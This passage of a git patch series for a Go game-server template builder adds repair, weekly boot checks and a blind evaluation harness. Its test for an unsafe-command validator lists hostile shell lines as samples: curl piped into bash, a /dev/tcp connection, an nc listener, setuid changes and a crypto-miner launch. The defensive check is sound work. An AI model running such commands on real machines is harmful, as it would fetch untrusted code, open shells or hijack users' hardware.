commands a node runs for a template: the startup command and anything in +// installConfig (scripts, file downloads). +func unsafeCommands(game map[string]any) []string { + var problems []string + for _, text := range commandTexts(game) { + for _, p := range unsafePatterns { + if m := p.re.FindString(text); m != "" { + problems = append(problems, fmt.Sprintf("the template %s (%q). Templates run on players' own machines: a game "+ + "server never needs that. Remove it; if the server needs a file, install it with installMethod or "+ + "installConfig.files from the game's official source", p.what, strings.TrimSpace(m))) + } + } + } + return problems +} + +var urlRe = regexp.MustCompile(`https?://[^\s"'<>)]+`) + +// downloadURLs lists the addresses a template makes nodes download from, for the reviewer to check. +func downloadURLs(game map[string]any) []string { + seen := map[string]bool{} + var out []string + for _, text := range commandTexts(game) { + for _, u := range urlRe.FindAllString(text, -1) { + if !seen[u] { + seen[u] = true + out = append(out, u) + } + } + } + return out +} + +// commandTexts is everything in a template that ends up being run or fetched on a node. +func commandTexts(game map[string]any) []string { + var out []string + if s, _ := game["defaultStartupCommand"].(string); s != "" { + out = append(out, unwrapShell(s)) + } + var walk func(v any) + walk = func(v any) { + switch t := v.(type) { + case string: + out = append(out, t) + case map[string]any: + for _, k := range sortedKeys(t) { + walk(t[k]) + } + case []any: + for _, e := range t { + walk(e) + } + } + } + walk(game["installConfig"]) + return out +} diff --git a/cmd/gbrgames/draftchecks_test.go b/cmd/gbrgames/draftchecks_test.go index 0a04473..d535fcd 100644 --- a/cmd/gbrgames/draftchecks_test.go +++ b/cmd/gbrgames/draftchecks_test.go @@ -149,3 +149,51 @@ func TestUndocumentedOptionsWholeWords(t *testing.T) { t.Errorf("got %q", got) } } + +func TestUnsafeCommandsCatchWhatAServerNeverNeeds(t *testing.T) { + bad := map[string]string{ + `curl -fsSL https://example.com/x.sh | bash`: "pipes a download straight into a shell", + `wget -qO- http://example.com/i | sudo sh`: "pipes a download straight into a shell", + `echo aGk= | base64 -d > run.sh; ./server`: "decodes hidden", + `eval "$EXTRA"; ./server`: "eval", + `exec 3<>/dev/tcp/203.0.113.1/4444; ./server`: "raw network connections", + `nc -l 4444 & ./server`: "raw network tool", + `sudo ./server`: "become another user", + `chmod u+s ./helper; ./server`: "setuid", + `echo x >> /etc/hosts; ./server`: "writes to /etc", + `crontab -l; ./server`: "changes the machine", + `./xmrig --url stratum+tcp://pool.example.com:3333`: "miner", + `bash -c 'curl -s https://example.com/a | sh; ./server'`: "pipes a download", + } + for startup, want := range bad { + got := strings.Join(unsafeCommands(map[string]any{"defaultStartupCommand": startup}), "\n") + if !strings.Contains(got, want) { + t.Errorf("%s\n want %q, got %q", startup, want, got) + } + } + // An install script counts too + if len(unsafeCommands(map[string]any{"installConfig": map[string]any{"script": "curl https://example.com/i | sh"}})) == 0 { + t.Error("installConfig.script not checked") + } + fine := []string{ + `args=(-name "${SERVER_NAME}" -port 30000); ./example_server "${args[@]}"`, + `mkdir -p /server/saves && exec ./example_server -datadir /server/saves`, + `[ -n "$PASSWORD" ] && args+=(-password "$PASSWORD"); ./example_server -evaluation-mode`, + } + for _, startup := range fine { + if p := unsafeCommands(map[string]any{"defaultStartupCommand": startup}); len(p) != 0 { + t.Errorf("%s flagged: %v", startup, p) + } + } +} + +func TestDownloadURLsForTheReviewer(t *testing.T) { + g := map[string]any{ + "defaultStartupCommand": `wget -q https://example.com/tool.tar.gz -O t.tgz && tar xzf t.tgz; ./server`, + "installConfig": map[string]any{"files": []any{map[string]any{"url": "https://example.org/plugin.jar", "path": "plugins/p.jar"}}}, + } + got := downloadURLs(g) + if len(got) != 2 || got[0] != "https://example.com/tool.tar.gz" || got[1] != "https://example.org/plugin.jar" { + t.Errorf("got %v", got) + } +} From f1271341ef681eef00a0370df3b542cfe1f6928b Mon Sep 17 00:00:00 2001 From: Greg Date: Mon, 26 Oct 2026 00:11:35 -0400 Subject: [PATCH 6/6] feat(builder): repair existing templates, a weekly check that queues repairs, and eval The builder could only create games; nothing noticed when a live template stopped working, and there was no way to tell whether a builder change made it better or worse. - repair -id ID: boots an existing template as nodes run it; if it fails, the same investigation as for a draft runs and the model changes only what the diagnosis says. The worker handles "repair" jobs (gameId from the panel) and opens "fix(games): repair ..." on draft/; a template that boots as it is reports "nothing to repair" and opens no PR. The boot and fix loop is now shared by builds and repairs. - validate.yml runs weekly and boot-tests every game; failed games are sent to the panel (X-GBR-Event: games_boot_failed) to queue repairs. - eval -ids all: builds games that already have a template from scratch, blind, and scores each draft against it (boots, same image and app, ports, ready line, settings found) into eval.md and eval.json. - research skips our own sites, so neither research nor eval reads our templates back. Co-Authored-By: Claude Opus 5.5 --- .gitea/workflows/validate.yml | 22 ++++ BUILDER.md | 17 +++ cmd/gbrgames/build.go | 28 +++-- cmd/gbrgames/build_test.go | 29 +++++ cmd/gbrgames/draft.go | 6 +- cmd/gbrgames/eval.go | 225 ++++++++++++++++++++++++++++++++++ cmd/gbrgames/main.go | 10 +- cmd/gbrgames/repair.go | 140 +++++++++++++++++++++ cmd/gbrgames/research.go | 6 +- cmd/gbrgames/research_test.go | 11 ++ cmd/gbrgames/worker.go | 59 +++++++-- scripts/boot-test.sh | 2 + 12 files changed, 535 insertions(+), 20 deletions(-) create mode 100644 cmd/gbrgames/eval.go create mode 100644 cmd/gbrgames/repair.go diff --git a/.gitea/workflows/validate.yml b/.gitea/workflows/validate.yml index 14c15ea..953f3ae 100644 --- a/.gitea/workflows/validate.yml +++ b/.gitea/workflows/validate.yml @@ -5,6 +5,10 @@ name: Validate game templates # still checked through their push. on: push: + # Weekly: boot-test every game, so a template that stopped working (a game update, a changed image) + # is found before players are, and a repair is queued for the AI builder + schedule: + - cron: "0 6 * * 1" workflow_dispatch: inputs: games: @@ -46,6 +50,8 @@ jobs: run: | if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then games=$(scripts/changed-games.sh "${{ inputs.games }}") + elif [ "${{ github.event_name }}" = "schedule" ]; then + games=$(scripts/changed-games.sh all) elif [ "${{ github.ref }}" = "refs/heads/main" ]; then before="${{ github.event.before }}" if [ -z "$before" ] || ! git cat-file -e "$before" 2>/dev/null; then @@ -78,10 +84,26 @@ jobs: # Secrets named in a game's test.yaml must be listed here to reach the boot test - name: Boot test changed games + id: boottest env: DRAGONWILDS_OWNER_ID: ${{ secrets.DRAGONWILDS_OWNER_ID }} run: scripts/boot-test.sh ${{ needs.validate.outputs.games }} + # The weekly run: each game that no longer boots gets a repair job in the panel; the AI builder takes + # it, and opens a pull request with the fix + - name: Queue repairs for games that stopped booting + if: failure() && github.event_name == 'schedule' && steps.boottest.outputs.failed != '' + env: + PANEL_WEBHOOK_SECRET: ${{ secrets.PANEL_WEBHOOK_SECRET }} + run: | + games=$(printf '"%s",' ${{ steps.boottest.outputs.failed }}) + curl -sS --fail-with-body --max-time 30 --retry 3 --retry-delay 10 \ + -X POST "${{ env.PANEL_WEBHOOK_URL }}" \ + -H "Content-Type: application/json" \ + -H "X-Gitea-Token: $PANEL_WEBHOOK_SECRET" \ + -H "X-GBR-Event: games_boot_failed" \ + -d "{\"games\":[${games%,}],\"run\":\"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\"}" + # main is the source of truth: send every template to the panel, which saves the changed ones # (new games arrive disabled). Runs only if the changed games booted, or none changed. publish: diff --git a/BUILDER.md b/BUILDER.md index 66295e0..507f996 100644 --- a/BUILDER.md +++ b/BUILDER.md @@ -42,6 +42,23 @@ example is an invented server). `TestBuilderIsGameAgnostic` fails the build if o The worker only connects out (to the panel, Gitea, the model and the search services). +## Keeping games working + +- **Repair** (`gbrgames repair -id ID`): boots an existing template as nodes run it. If it boots, there is + nothing to do. If not, the same investigation as for a draft runs, the model changes only what the + diagnosis says, and the worker opens `fix(games): repair …` on `draft/` (replacing any open draft of + that game). The panel queues repairs from a game's admin page, or by itself (next point). +- **Weekly check**: `validate.yml` boot-tests every game each Monday. Each game that no longer boots is sent + to the panel (`X-GBR-Event: games_boot_failed`), which queues a repair job for it. +- **Eval** (`gbrgames eval -ids all`): builds games that already have a template from scratch, blind (the + builder never reads `games/`, and research skips our own sites), and scores each draft against the merged + template: boots, same image and Steam app, same ports, ready line, settings found. Run it before and after + changing the builder or the model. It takes as long as the builds; on the builder VM: + + ```bash + docker exec gbr-builder sh -c 'cd /work && rm -rf eval && git clone -q https://www.gitea.gbreed.com/gbreed-public/gbr-games.git eval && cd eval && gbrgames eval -ids all -out eval.md && cat eval.md' + ``` + ## Requirements A Docker host with the isolated `gbr-boottest` network (`RUNNER.md`, step 1), so servers booted by the diff --git a/cmd/gbrgames/build.go b/cmd/gbrgames/build.go index f452313..4dd371e 100644 --- a/cmd/gbrgames/build.go +++ b/cmd/gbrgames/build.go @@ -28,6 +28,9 @@ type buildResult struct { Summary string `json:"summary"` // What the builder diagnosed after each failed boot, the fix it made, and how that went Diagnoses []attempt `json:"diagnoses,omitempty"` + // Repairs only: the existing template, and whether it already booted as it is (nothing to change) + Repair bool `json:"repair,omitempty"` + NoChange bool `json:"noChange,omitempty"` } const defaultAgentImage = "www.gitea.gbreed.com/gbreed-public/gbr-node-agent:latest" @@ -159,16 +162,26 @@ func buildWithImage(o buildOptions, image string) (*buildResult, error) { return res, nil } - // 3. Boot the draft the way nodes run it. A failure is investigated and diagnosed before the model - // changes anything; a fix that changes nothing rules its cause out - wantOutside := len(outsideDirs(report)) > 0 + // 3. Boot the draft the way nodes run it + if err := bootAndFix(o, d, res, len(outsideDirs(report)) > 0); err != nil { + return res, err + } + res.Summary = buildSummary(o, res) + return res, nil +} + +// bootAndFix boots the template in games/ the way nodes run it, until it passes. A failure is +// investigated and diagnosed before the model changes anything, and a fix that changes nothing rules its +// cause out. Builds use it on a fresh draft; repairs on an existing template, where a first boot that +// passes means there is nothing to repair. wantOutside also checks no files are lost on a restart. +func bootAndFix(o buildOptions, d *drafter, res *buildResult, wantOutside bool) error { iv := newInvestigator(d.m, o.name, o.gamesDir, o.id, o.agentImage) lastFailure := "" for boot := 1; boot <= o.bootRounds; boot++ { - fmt.Printf("[build] boot %d of the draft with the node-agent\n", boot) + fmt.Printf("[build] boot %d of the template with the node-agent\n", boot) bootProblems, notes, err := bootCheck(o.gamesDir, o.id, o.agentImage, wantOutside) if err != nil { - return res, err + return err } failure := strings.Join(bootProblems, "\n") iv.outcome(len(bootProblems) == 0, lastFailure, failure) @@ -200,7 +213,7 @@ func buildWithImage(o buildOptions, image string) (*buildResult, error) { problems, err := d.refine(o.attempts, fixRequest(failure, diag)) res.Rounds = d.rounds if err != nil { - return res, err + return err } if len(problems) > 0 { res.Problems = problems @@ -211,8 +224,7 @@ func buildWithImage(o buildOptions, image string) (*buildResult, error) { if res.Passed { res.Problems = nil } - res.Summary = buildSummary(o, res) - return res, nil + return nil } func isSteamCMDImage(image string) bool { diff --git a/cmd/gbrgames/build_test.go b/cmd/gbrgames/build_test.go index 24b1c9e..ca8b85c 100644 --- a/cmd/gbrgames/build_test.go +++ b/cmd/gbrgames/build_test.go @@ -79,3 +79,32 @@ configSchema: t.Errorf("message: %s", msg) } } + +func TestScoreDraftAgainstTheRealTemplate(t *testing.T) { + real := map[string]any{"defaultDockerImage": "cm2network/steamcmd", "installMethod": "STEAMCMD", + "installConfig": map[string]any{"appId": "1000000"}, "defaultPorts": []any{"30000/udp", "30001/udp"}, + "configSchema": map[string]any{"properties": map[string]any{"ServerName": map[string]any{}, "MaxPlayers": map[string]any{}}}} + draft := map[string]any{"defaultDockerImage": "cm2network/steamcmd", "installMethod": "STEAMCMD", + "installConfig": map[string]any{"appId": "1000000"}, "defaultPorts": []any{"30000/udp", "30002/tcp"}, + "readyPattern": `Server is ready`, + "configSchema": map[string]any{"properties": map[string]any{"SERVER_NAME": map[string]any{}, "WorldName": map[string]any{}}}} + var s evalScore + scoreDraft(&s, real, map[string]any{"readyExample": "12:00:01 Server is ready for players"}, draft) + if !s.SameRoute || s.PortsSame || !s.ReadyMatch || s.SettingsHit != 1 || s.RealSetting != 2 || s.Settings != 2 { + t.Errorf("score %+v", s) + } + if strings.Join(s.PortsDiff, ",") != "extra 30002/tcp,missing 30001/udp" { + t.Errorf("ports diff %v", s.PortsDiff) + } +} + +func TestPRTextForBuildsAndRepairs(t *testing.T) { + _, title := prText("Example", "job1", &buildResult{Passed: true}) + if title != "feat(games): add Example" { + t.Errorf("build title %q", title) + } + commit, title := prText("Example", "job1", &buildResult{Repair: true}) + if title != "WIP: fix(games): repair Example (did not boot yet)" || !strings.HasPrefix(commit, "fix(games): repair Example") { + t.Errorf("repair %q / %q", title, commit) + } +} diff --git a/cmd/gbrgames/draft.go b/cmd/gbrgames/draft.go index 4ddc84b..c09595a 100644 --- a/cmd/gbrgames/draft.go +++ b/cmd/gbrgames/draft.go @@ -84,6 +84,8 @@ type draftJob struct { // Text of the pages research based the variant on; when set, every launch option in the startup // command must appear in it (or in the image's scripts) Docs string + // Repair: games/ is an existing template to fix, not a new game + Repair bool } // drafter keeps what the model needs about one game across rounds. Each request is rebuilt from it @@ -109,8 +111,8 @@ func newDrafter(j draftJob) (*drafter, error) { id = gameID(j.Name) } d := &drafter{job: j, id: id, dir: filepath.Join(j.GamesDir, id)} - if _, err := os.Stat(d.dir); err == nil { - return nil, fmt.Errorf("%s already exists; drafts only create new games", d.dir) + if _, err := os.Stat(d.dir); err == nil && !j.Repair { + return nil, fmt.Errorf("%s already exists; drafts only create new games (repair fixes existing ones)", d.dir) } var err error if d.m, err = newModel(j.Provider, j.Model); err != nil { diff --git a/cmd/gbrgames/eval.go b/cmd/gbrgames/eval.go new file mode 100644 index 0000000..8118677 --- /dev/null +++ b/cmd/gbrgames/eval.go @@ -0,0 +1,225 @@ +package main + +import ( + "encoding/json" + "errors" + "flag" + "fmt" + "os" + "path/filepath" + "regexp" + "sort" + "strings" + "time" +) + +// eval measures the builder: it builds games that already have a working template from scratch (research, +// first boot, draft, boots), without opening a pull request and without the builder seeing that template, +// and scores each draft against the merged one. Run it before and after changing the builder or the model +// to see whether the change helped. + +type evalScore struct { + Game string `json:"game"` + Boots bool `json:"boots"` + SameRoute bool `json:"sameRoute"` // same image, and same Steam app when installed with SteamCMD + PortsSame bool `json:"portsSame"` + PortsDiff []string `json:"portsDiff,omitempty"` + ReadyMatch bool `json:"readyMatch"` // the draft's readyPattern matches the real server's ready line + Settings int `json:"settings"` + SettingsHit int `json:"settingsHit"` // of the real template's settings, how many the draft has too + RealSetting int `json:"realSettings"` + Rounds int `json:"rounds"` + Minutes float64 `json:"minutes"` + Error string `json:"error,omitempty"` +} + +func runEval(args []string) error { + fs := flag.NewFlagSet("eval", flag.ExitOnError) + gamesDir := fs.String("games", "games", "the repo's games directory: the templates to compare against") + schemaDir := fs.String("schemas", "schema", "directory holding the JSON Schemas") + which := fs.String("ids", "all", "comma-separated game ids, or all") + provider := fs.String("provider", "ollama", "ollama or gemini") + modelName := fs.String("model", "", "model name (default as for draft)") + out := fs.String("out", "eval.md", "write the report here (and the scores as JSON next to it)") + fs.Parse(args) + + ids, err := evalIDs(*gamesDir, *which) + if err != nil { + return err + } + m, err := newModel(*provider, *modelName) + if err != nil { + return err + } + var scores []evalScore + for _, id := range ids { + fmt.Printf("[eval] ===== %s =====\n", id) + s := evalGame(m, *gamesDir, *schemaDir, id, *provider, *modelName) + fmt.Printf("[eval] %s: boots %v, same route %v, ports same %v, ready matches %v, settings %d/%d\n", + id, s.Boots, s.SameRoute, s.PortsSame, s.ReadyMatch, s.SettingsHit, s.RealSetting) + scores = append(scores, s) + } + if err := os.WriteFile(*out, []byte(evalReport(scores)), 0o644); err != nil { + return err + } + raw, _ := json.MarshalIndent(scores, "", " ") + return os.WriteFile(strings.TrimSuffix(*out, filepath.Ext(*out))+".json", raw, 0o644) +} + +func evalIDs(gamesDir, which string) ([]string, error) { + if which != "all" { + return strings.Split(which, ","), nil + } + entries, err := os.ReadDir(gamesDir) + if err != nil { + return nil, err + } + var ids []string + for _, e := range entries { + if _, err := os.Stat(filepath.Join(gamesDir, e.Name(), "game.yaml")); err == nil { + ids = append(ids, e.Name()) + } + } + if len(ids) == 0 { + return nil, errors.New("no templates to evaluate against") + } + return ids, nil +} + +// evalGame builds one game blind, in an empty games folder, and compares the draft with the real template. +func evalGame(m model, gamesDir, schemaDir, id, provider, modelName string) evalScore { + s := evalScore{Game: id} + start := time.Now() + defer func() { s.Minutes = time.Since(start).Minutes() }() + real, err := loadMap(filepath.Join(gamesDir, id, "game.yaml")) + if err != nil { + s.Error = err.Error() + return s + } + realTest, _ := loadMap(filepath.Join(gamesDir, id, "test.yaml")) + name, _ := real["name"].(string) + + res, err := research(m, name, "", 6) + if err != nil { + s.Error = "research: " + err.Error() + return s + } + var chosen *variant + for i := range res.Variants { + if res.Variants[i].Recommended { + chosen = &res.Variants[i] + } + } + if chosen == nil { + s.Error = "research recommended no runnable option: " + res.Message + return s + } + blind, err := os.MkdirTemp("", "gbr-eval-") + if err != nil { + s.Error = err.Error() + return s + } + defer os.RemoveAll(blind) + built, err := build(buildOptions{gamesDir: blind, schemaDir: schemaDir, name: name, id: id, variant: *chosen, + provider: provider, model: modelName, attempts: 3, bootRounds: 5, agentImage: agentImageFromEnv()}) + if built != nil { + s.Boots, s.Rounds = built.Passed, built.Rounds + } + if err != nil { + s.Error = "build: " + err.Error() + } + draft, derr := loadMap(filepath.Join(blind, id, "game.yaml")) + if derr != nil { + if s.Error == "" { + s.Error = "no draft written" + } + return s + } + scoreDraft(&s, real, realTest, draft) + return s +} + +// scoreDraft compares a draft with the real template. +func scoreDraft(s *evalScore, real, realTest, draft map[string]any) { + s.SameRoute = real["defaultDockerImage"] == draft["defaultDockerImage"] && steamAppOf(real) == steamAppOf(draft) + + want, got := portSet(real), portSet(draft) + for p := range want { + if !got[p] { + s.PortsDiff = append(s.PortsDiff, "missing "+p) + } + } + for p := range got { + if !want[p] { + s.PortsDiff = append(s.PortsDiff, "extra "+p) + } + } + sort.Strings(s.PortsDiff) + s.PortsSame = len(s.PortsDiff) == 0 + + if pattern, _ := draft["readyPattern"].(string); pattern != "" { + example, _ := realTest["readyExample"].(string) + if re, err := regexp.Compile(pattern); err == nil && example != "" { + s.ReadyMatch = re.MatchString(example) + } + } + + realKeys := map[string]bool{} + for k := range schemaProperties(real) { + realKeys[envName(k)] = true + } + s.RealSetting = len(realKeys) + for k := range schemaProperties(draft) { + s.Settings++ + if realKeys[envName(k)] { + s.SettingsHit++ + } + } +} + +func steamAppOf(g map[string]any) string { + if g["installMethod"] != "STEAMCMD" { + return "" + } + ic, _ := g["installConfig"].(map[string]any) + return fmt.Sprint(ic["appId"]) +} + +// portSet is a template's published container ports, as "port/proto". +func portSet(g map[string]any) map[string]bool { + out := map[string]bool{} + ports, _ := g["defaultPorts"].([]any) + for _, p := range ports { + out[containerPort(fmt.Sprint(p))] = true + } + return out +} + +func evalReport(scores []evalScore) string { + var b strings.Builder + b.WriteString("# Builder evaluation\n\nEach game was built blind (research, first boot, draft, boots) and compared " + + "with its merged template.\n\n") + b.WriteString("| Game | Boots | Same image/app | Ports | Ready line | Settings found | Rounds | Minutes | Note |\n") + b.WriteString("| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n") + passed := 0 + for _, s := range scores { + if s.Boots { + passed++ + } + ports := "same" + if !s.PortsSame { + ports = strings.Join(s.PortsDiff, ", ") + } + fmt.Fprintf(&b, "| %s | %s | %s | %s | %s | %d of %d (draft has %d) | %d | %.0f | %s |\n", s.Game, mark(s.Boots), mark(s.SameRoute), + ports, mark(s.ReadyMatch), s.SettingsHit, s.RealSetting, s.Settings, s.Rounds, s.Minutes, s.Error) + } + fmt.Fprintf(&b, "\n%d of %d drafts booted.\n", passed, len(scores)) + return b.String() +} + +func mark(ok bool) string { + if ok { + return "yes" + } + return "no" +} diff --git a/cmd/gbrgames/main.go b/cmd/gbrgames/main.go index 8c37d0f..9b95e90 100644 --- a/cmd/gbrgames/main.go +++ b/cmd/gbrgames/main.go @@ -9,7 +9,9 @@ // go run ./cmd/gbrgames draft -name N -image I # have an AI model write a new game's template from those facts // go run ./cmd/gbrgames research -name N # find how a game's server runs: variants, images, Steam app // go run ./cmd/gbrgames build -name N -variant V # first boot, draft, and boot the draft until it works -// go run ./cmd/gbrgames worker # take research/build jobs from the panel (see BUILDER.md) +// go run ./cmd/gbrgames repair -id ID # fix an existing template that no longer boots +// go run ./cmd/gbrgames eval -ids all # build known games blind and score the drafts +// go run ./cmd/gbrgames worker # take research/build/repair jobs from the panel (see BUILDER.md) package main import ( @@ -41,6 +43,10 @@ func main() { err = runResearch(os.Args[2:]) case "build": err = runBuild(os.Args[2:]) + case "repair": + err = runRepair(os.Args[2:]) + case "eval": + err = runEval(os.Args[2:]) case "worker": err = runWorker(os.Args[2:]) default: @@ -53,6 +59,6 @@ func main() { } func usage() { - fmt.Fprintln(os.Stderr, "usage: gbrgames validate [-games DIR] | import [-games DIR] [-all] EXPORT.json | export [-repo R] [-commit SHA] [-out FILE] | boottest-payload [-out FILE] ID | inspect-image [-game ID] [-json] [-no-pull] [IMAGE] | first-boot [-game ID | -image IMAGE] [-env K=V] [-max D] [-quiet D] [-out DIR] | draft -name NAME -image IMAGE [-steam-app ID] [-first-boot REPORT] [-provider ollama|gemini] [-model M] | research -name NAME [-notes N] [-out FILE] | build -name NAME -variant JSON|@FILE [-out FILE] | worker [-once]") + fmt.Fprintln(os.Stderr, "usage: gbrgames validate [-games DIR] | import [-games DIR] [-all] EXPORT.json | export [-repo R] [-commit SHA] [-out FILE] | boottest-payload [-out FILE] ID | inspect-image [-game ID] [-json] [-no-pull] [IMAGE] | first-boot [-game ID | -image IMAGE] [-env K=V] [-max D] [-quiet D] [-out DIR] | draft -name NAME -image IMAGE [-steam-app ID] [-first-boot REPORT] [-provider ollama|gemini] [-model M] | research -name NAME [-notes N] [-out FILE] | build -name NAME -variant JSON|@FILE [-out FILE] | repair -id ID [-reason R] | eval [-ids all] [-out eval.md] | worker [-once]") os.Exit(2) } diff --git a/cmd/gbrgames/repair.go b/cmd/gbrgames/repair.go new file mode 100644 index 0000000..88cef56 --- /dev/null +++ b/cmd/gbrgames/repair.go @@ -0,0 +1,140 @@ +package main + +import ( + "encoding/json" + "errors" + "flag" + "fmt" + "os" + "path/filepath" + "strings" +) + +// repair fixes an existing template that stopped working (a game update, a changed image), the way build +// fixes a fresh draft: the template is booted as nodes run it, a failure is investigated and diagnosed, +// and the model changes only what the diagnosis says. A template that boots as it is needs no repair. +// The result replaces games// in a pull request. + +func runRepair(args []string) error { + fs := flag.NewFlagSet("repair", flag.ExitOnError) + gamesDir := fs.String("games", "games", "directory holding one folder per game") + schemaDir := fs.String("schemas", "schema", "directory holding the JSON Schemas") + id := fs.String("id", "", "the game to repair (its folder under -games)") + reason := fs.String("reason", "", "why it is being repaired, e.g. the failing boot test") + provider := fs.String("provider", "ollama", "ollama or gemini") + modelName := fs.String("model", "", "model name (default as for draft)") + attempts := fs.Int("attempts", 3, "fix rounds for validation problems, each time") + bootRounds := fs.Int("boot-rounds", 5, "boots of the template at most") + out := fs.String("out", "", "write the result JSON here") + fs.Parse(args) + if *id == "" { + return errors.New("repair needs -id") + } + res, err := repair(buildOptions{gamesDir: *gamesDir, schemaDir: *schemaDir, id: *id, notes: *reason, + provider: *provider, model: *modelName, attempts: *attempts, bootRounds: *bootRounds, agentImage: agentImageFromEnv()}) + if res != nil && *out != "" { + raw, _ := json.MarshalIndent(res, "", " ") + if werr := os.WriteFile(*out, raw, 0o644); werr != nil && err == nil { + err = werr + } + } + if err != nil { + return err + } + switch { + case res.NoChange: + fmt.Printf("[repair] %s boots as it is: nothing to repair\n", res.Dir) + case res.Passed: + fmt.Printf("[repair] %s repaired and booted with the node-agent\n", res.Dir) + default: + return fmt.Errorf("%s still has problems:\n- %s", res.Dir, strings.Join(res.Problems, "\n- ")) + } + return nil +} + +func repair(o buildOptions) (*buildResult, error) { + dir := filepath.Join(o.gamesDir, o.id) + g, err := loadMap(filepath.Join(dir, "game.yaml")) + if err != nil { + return nil, err + } + test, _ := loadMap(filepath.Join(dir, "test.yaml")) + if test == nil { + test = map[string]any{} + } + o.name, _ = g["name"].(string) + image, _ := g["defaultDockerImage"].(string) + steamApp := "" + if ic, ok := g["installConfig"].(map[string]any); ok && g["installMethod"] == "STEAMCMD" { + steamApp = fmt.Sprint(ic["appId"]) + } + res := &buildResult{GameID: o.id, Dir: dir, Image: image, Repair: true} + if out, err := runCmd("docker", "pull", "-q", image); err != nil { + return res, fmt.Errorf("docker pull %s: %v: %s", image, err, out) + } + + // The model starts from the template as it is, as if it had written it, with the facts read from the + // image; it only ever gets asked to fix what a diagnosis found + notes := "this game already has a template (your previous answer) that a node can no longer run. Repair it: " + + "change only what each diagnosis says, and keep everything that works" + if o.notes != "" { + notes += ". Why it is being repaired: " + o.notes + } + d, err := newDrafter(draftJob{GamesDir: o.gamesDir, SchemaDir: o.schemaDir, Name: o.name, ID: o.id, Image: image, + SteamApp: steamApp, Notes: notes, Provider: o.provider, Model: o.model, NoPull: true, Repair: true}) + if err != nil { + return res, err + } + current, err := json.Marshal(map[string]any{"game": g, "test": test}) + if err != nil { + return res, err + } + d.last = string(current) + + if err := bootAndFix(o, d, res, true); err != nil { + return res, err + } + res.NoChange = res.Passed && d.rounds == 0 + if res.NoChange { + res.Verified = append(res.Verified, "the template boots as it is: nothing to repair") + } + res.Summary = repairSummary(o, res) + return res, nil +} + +// repairSummary is the pull request's description for a repair. +func repairSummary(o buildOptions, res *buildResult) string { + var b strings.Builder + fmt.Fprintf(&b, "Repaired by the GBR AI builder. **Review before merging**: the diff shows exactly what changed.\n\n") + fmt.Fprintf(&b, "- Game: **%s** (`games/%s`)\n- Image: `%s`\n- Model rounds: %d\n", o.name, o.id, res.Image, res.Rounds) + if o.notes != "" { + fmt.Fprintf(&b, "- Why: %s\n", o.notes) + } + if len(res.Verified) > 0 { + b.WriteString("\n**Checked for real** (measured by the builder, not the model's word)\n") + for _, v := range res.Verified { + fmt.Fprintf(&b, "- %s\n", v) + } + } + if g, err := loadMap(filepath.Join(res.Dir, "game.yaml")); err == nil { + if urls := downloadURLs(g); len(urls) > 0 { + b.WriteString("\n**Review carefully: nodes download from these addresses**\n") + for _, u := range urls { + fmt.Fprintf(&b, "- %s\n", u) + } + } + } + if len(res.Problems) > 0 { + b.WriteString("\n**Still open** (the builder could not fix these)\n") + for _, p := range res.Problems { + fmt.Fprintf(&b, "- %s\n", firstLine(p)) + } + } + if len(res.Diagnoses) > 0 { + b.WriteString("\n**What the builder found** (after each failed boot)\n") + for i, a := range res.Diagnoses { + fmt.Fprintf(&b, "%d. Cause: %s\n Fix: %s\n Outcome: %s\n", i+1, firstLine(a.Cause), firstLine(a.Fix), a.Outcome) + } + } + return b.String() +} diff --git a/cmd/gbrgames/research.go b/cmd/gbrgames/research.go index 2d7a429..19b9821 100644 --- a/cmd/gbrgames/research.go +++ b/cmd/gbrgames/research.go @@ -237,11 +237,15 @@ func pickPages(hits []searchHit, n int) []searchHit { return out } +// Our own sites (the public templates, the panel) are never a source: research would read our templates +// back, and an eval build would copy the answer it's being scored against +var ownSites = regexp.MustCompile(`(?i)^https?://([a-z0-9-]+\.)*(gbreed\.com|gbrhosting\.com)(/|:|$)`) + func dedupeHits(hits []searchHit) []searchHit { seen := map[string]bool{} var out []searchHit for _, h := range hits { - if h.URL == "" || seen[h.URL] { + if h.URL == "" || seen[h.URL] || ownSites.MatchString(h.URL) { continue } seen[h.URL] = true diff --git a/cmd/gbrgames/research_test.go b/cmd/gbrgames/research_test.go index c79ceb2..c76d54e 100644 --- a/cmd/gbrgames/research_test.go +++ b/cmd/gbrgames/research_test.go @@ -112,3 +112,14 @@ func TestOneOptionPerImageThenSteamCMDRecommended(t *testing.T) { } } } + +func TestResearchSkipsOurOwnSites(t *testing.T) { + got := dedupeHits([]searchHit{ + {URL: "https://www.gitea.gbreed.com/gbreed-public/gbr-games/src/branch/main/games/x/game.yaml"}, + {URL: "https://gbrhosting.com/games"}, + {URL: "https://example.com/server-guide"}, + }) + if len(got) != 1 || got[0].URL != "https://example.com/server-guide" { + t.Errorf("got %v", got) + } +} diff --git a/cmd/gbrgames/worker.go b/cmd/gbrgames/worker.go index 5b3a2c2..0dd507b 100644 --- a/cmd/gbrgames/worker.go +++ b/cmd/gbrgames/worker.go @@ -32,7 +32,8 @@ import ( type builderJob struct { ID string `json:"id"` - Kind string `json:"kind"` // "research" or "build" + Kind string `json:"kind"` // "research", "build" or "repair" + GameID string `json:"gameId"` // repair: the template to fix GameName string `json:"gameName"` Notes string `json:"notes"` Variant json.RawMessage `json:"variant"` @@ -43,6 +44,8 @@ type jobResult struct { Build *buildResult `json:"build,omitempty"` PRURL string `json:"prUrl,omitempty"` Error string `json:"error,omitempty"` + // A repair whose template already boots: no pull request + NoChange bool `json:"noChange,omitempty"` } type workerConfig struct { @@ -258,6 +261,30 @@ func (c *workerConfig) handle(job *builderJob) *jobResult { return &jobResult{Build: res, Error: "opening the pull request: " + err.Error()} } return &jobResult{Build: res, PRURL: pr} + + case "repair": + if job.GameID == "" { + return &jobResult{Error: "a repair job needs gameId"} + } + args := append([]string{"repair", "-id", job.GameID, "-reason", job.Notes, "-out", resultFile}, modelArgs...) + runErr := c.runStreamed(job.ID, dir, self, args, "BOOT_TEST") + res := &buildResult{} + if err := readJSON(resultFile, res); err != nil { + msg := "the repair produced no result" + if runErr != nil { + msg = runErr.Error() + } + return &jobResult{Error: msg} + } + if res.NoChange { + return &jobResult{Build: res, NoChange: true} + } + c.progress(job.ID, "OPENING_PR", []string{"[worker] opening the pull request"}) + pr, err := c.openPR(dir, job, res) + if err != nil { + return &jobResult{Build: res, Error: "opening the pull request: " + err.Error()} + } + return &jobResult{Build: res, PRURL: pr} } return &jobResult{Error: "unknown job 